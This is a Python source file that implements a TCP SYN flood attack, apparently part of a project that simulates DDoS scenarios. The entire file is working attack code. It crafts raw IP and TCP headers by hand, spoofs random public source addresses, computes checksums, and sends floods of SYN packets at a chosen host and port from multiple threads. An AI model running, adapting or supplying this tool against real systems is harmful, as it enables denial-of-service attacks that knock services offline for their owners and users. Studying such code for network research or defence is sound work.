Source

imalse / scenario / ddos_flooding / attacks / tcp_syn_flood.py

Full commit
import socket
import sys
import struct

from random import randrange
from threading import Thread

NOT_VALID = [10, 127, 169, 172, 192]

def generate_random_ip():
    """Generate a random ip address"""
    first = randrange(1, 256)
    while first in NOT_VALID:
        first = randrange(1, 256)

    return ".".join([str(first), str(randrange(1, 256)), \
                      str(randrange(1, 256)), str(randrange(1, 256))])  

def auto_send_packets(port, dest_ip, num_packets):
    """
    
    This function is run in a separate thread. It sends tcp syn packets to a
    specific host.
    
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    except socket.error as err:
        print 'Socket could not be created. Error: ' + err
        sys.exit()
     
    # tell kernel not to put in headers, since we are providing it
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
         
    for _ in range(num_packets):
        source_ip = generate_random_ip()
        packet = construct_packet(source_ip, dest_ip)
        try:
            sock.sendto(packet, (dest_ip , port ))
        except socket.error as err:
            print err
        
def start_syn_flood(hostname, port, num_packets, num_threads):
    """Start the tcp syn flood."""
    dest_ip = socket.gethostbyname(hostname)
        
    num_packets_per_thread = int(num_packets/num_threads)
    
    try:
        for _ in range(num_threads):
            flood_thread = Thread( 
                              target=auto_send_packets,\
                              args=(port, dest_ip, num_packets_per_thread) 
                              )
            flood_thread.start()
    except (KeyboardInterrupt, SystemExit):
        print "\n! Receive Keyboard interrupt, quitting threads. \n"
        
    print("\nDone %i requests on %s" % (num_packets, hostname))
   
def get_checksum(msg):
    """
    
    This function calculates checksums. The loop takes 2 characters at a time.
    
    """
    checksum = 0
    
    for i in range(0, len(msg), 2):
        val = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
        checksum = checksum + val
     
    checksum = (checksum >> 16) + (checksum & 0xffff)
    checksum = ~checksum & 0xffff     
    return checksum
 
def construct_packet(source_ip, dest_ip):
    """Construct the tcp syn packet."""       
    # ip header fields
    ihl = 5
    version = 4
    tos = 0
    tot_len = 20 + 20   
    packet_id = 54321  
    frag_off = 0
    ttl = 255
    protocol = socket.IPPROTO_TCP
    check = 10 
    saddr = socket.inet_aton ( source_ip )  
    daddr = socket.inet_aton ( dest_ip )
     
    ihl_version = (version << 4) + ihl
     
    # the ! in the pack format string means network order
    ip_header = struct.pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, packet_id, frag_off, ttl, protocol, check, saddr, daddr)
     
    # tcp header fields
    source_port = 1234   
    dest_port = 80   
    seq = 0
    ack_seq = 0
    doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
    #tcp flags
    fin = 0
    syn = 1
    rst = 0
    psh = 0
    ack = 0
    urg = 0
    window = socket.htons (5840)    #   maximum allowed window size
    check = 0
    urg_ptr = 0
     
    offset_res = (doff << 4) + 0
    tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)
     
    # the ! in the pack format string means network order
    tcp_header = struct.pack('!HHLLBBHHH', source_port, dest_port, seq,\
                     ack_seq, offset_res, tcp_flags, window, check, urg_ptr)
     
    # pseudo header fields
    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton(dest_ip)
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header)
     
    psh = struct.pack('!4s4sBBH', source_address, dest_address, placeholder,\
                      protocol , tcp_length)
    psh = psh + tcp_header
     
    tcp_checksum = get_checksum(psh)
     
    # make the tcp header again and fill the correct checksum
    tcp_header = struct.pack('!HHLLBBHHH' , source_port, dest_port, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
     
    # final full packet - syn packets dont have any data
    return ip_header + tcp_header